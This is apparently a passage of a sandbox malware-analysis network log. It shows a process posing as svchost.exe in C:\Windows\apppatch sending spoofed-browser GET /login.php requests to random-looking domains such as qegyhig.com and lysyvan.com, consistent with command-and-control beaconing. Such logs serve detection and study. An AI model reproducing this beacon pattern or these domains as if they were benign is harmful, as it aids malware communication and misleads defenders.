                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.869189978 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156083107 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156219006 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156373978 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157799959 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:08 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    75192.168.2.45016175.2.71.199807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.751349926 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.203375101 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Location: https://puzylyp.com/login.php
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:07 GMT
                                                                                                                                                                                                                    Content-Length: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    76192.168.2.450162188.114.96.3807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.773072958 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.509001017 CET968INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:07 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=guqBJEXx00YFXqyH6fnyXDwf8jKe5%2FctF0dkswpqJ4BHvIssMA50ETU7FzNekVHQC0LKu7gyK%2FsuGwsEfvDtkg%2BMkj7gxnFOipueyDSX7gMvtWCANVUHukk7w1PNkQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f6eae47c409-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.158425093 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.593128920 CET807INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:09 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZHES%2FxWxRpHqcU%2BiSA4PL1ZYn7go8kiqQ3rOw6vTZoZZbjVzRgF4hn21i1%2BbBUwxSeQF4iNaWOtm5327X89wjY5RMRGxIkU9oJKXCxEBfOS%2FxogSPYLJUcLHm%2BZTA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f7b7e26c409-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=4&recv=6&lost=0&retrans=0&sent_bytes=968&recv_bytes=486&delivery_rate=2431570&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.594002962 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    77192.168.2.450163178.162.203.226807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.125597954 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    78192.168.2.45016423.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.155407906 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.610045910 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:02 GMT
                                                                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.610071898 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    79192.168.2.450168188.114.96.3807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.148317099 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.824377060 CET974INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:11 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XBEPGX8xpp0TCVWlMAs4i%2Bg6HSB%2BLC0Dy0d4JHx%2BbMLqLGsCa%2BCfzHd2izrbOQzIMrrqrn7ZBZeJhZHQ5asc3Pi1HjdUeYhzIRMaIQHEAI%2F9gRQIfrhXenJ53%2BARVw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f89fa594338-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1169&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.931447029 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:14.323519945 CET978INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:14 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://lysyvan.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gzs9qH8eti4hUjxXaG3v3tgST1gweSV6YOgDC28LYVDFnojbulJNTnLL%2FnSdYLym%2Bw3Amgq4mexIPWACu%2FTlLXvta9RMd2kGmd9LHkVByQOlE9KrwlbIR72WKA3%2BKg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f994ee24338-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=4&recv=6&lost=0&retrans=0&sent_bytes=974&recv_bytes=486&delivery_rate=2307569&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
